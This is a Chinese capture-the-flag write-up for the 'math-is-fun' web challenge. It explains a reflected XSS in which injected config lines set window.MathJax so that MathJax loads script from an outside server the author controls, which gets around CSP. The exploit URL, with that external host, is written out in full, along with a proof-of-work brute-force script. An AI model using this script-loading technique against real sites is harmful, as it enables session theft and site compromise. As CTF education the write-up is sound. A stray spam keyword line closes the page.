<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    math-is-fun

    math-is-fun1

    知識點:利用外部組件進行的反射型 XSS

    步驟:

    1.打開靶機,是這樣一個頁面。

    CTF

    似乎要提交給管理員頁面來看,頁面沒看到有可以提交進行儲存的地方。

    2.然后來看看頁面源碼。

    CTF

    這個地方似乎可控,來試試。

    CTF

    Nice,可以。

    3.再來看看下面的 js。

    CTF

    可以看到,其對 config 進行解析,首先處理換行,而后對其進行解析

    -config[‘name’]=value會被賦值到 window 的config里的 name value。

    -name=value的會被賦值到 window 的 name,值為 value。

    4.那么看看有什么地方讀了 window 的,可以看到這里加載了 mathjax 來處理數學公式的顯示。
    CTF
    5.點擊進去看看源碼,搜索 window,還真調用了。

    CTF

    CTF

    可以看到其在初始化時將 window 里已有的 MathJax 存到自身的 AuthorConfig 里,而后其會讀取這個設置,將里面的 root 作為組件的 root 進行設置。

    CTF

    那么就好辦了,我們就構造一個參數,使其從我們的網站上加載我們的 js,這樣想做啥都可以了,很棒的是這樣加載不受 CSP 之類的限制,美滋滋。

    6.構造如下,

    http://47.110.128.101/challenge?name=glzjin%3b%0aMathJax%3d%7b”root”%3a”http%3a%2f%2fxss.zhaoj.in%2fmath”%7d

    name那里其實為

    glzjin;
    
    MathJax={"root":"http://xss.zhaoj.in/math"}

    這樣就達到我們之前想達到的目的了。

    7.把這個鏈接打過去,就可以看到 XSSBOT 加載了什么資源了。

    祖傳算號器:

    
    import string, hashlib
    
    a = string.digits + string.lowercase + string.uppercase
    for i in a:
        for j in a:
            for k in a:
                for m in a:
                    s = hashlib.md5(i + j + k + m).hexdigest()[0:5]
                    if s == "5e86c":
                        print(i + j + k + m)
    
                        exit(0)

    打開我自己服務器日志,得

    CTF

    CTF

    說明:這里其實我原本是直接在瀏覽器上看了看資源加載,沒想到正常版的 Chrome 和 XSSBOT 的 headless Chrome 還有所不同,正常版 Chrome 加載的資源和 headless 的不同,錯失一血-

    8.在服務器上創建一個這個路徑的文件,

    CTF

    CTF

    9.再打一遍。收 XSS。

    CTF

    CTF

    10.Flag 到手~

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类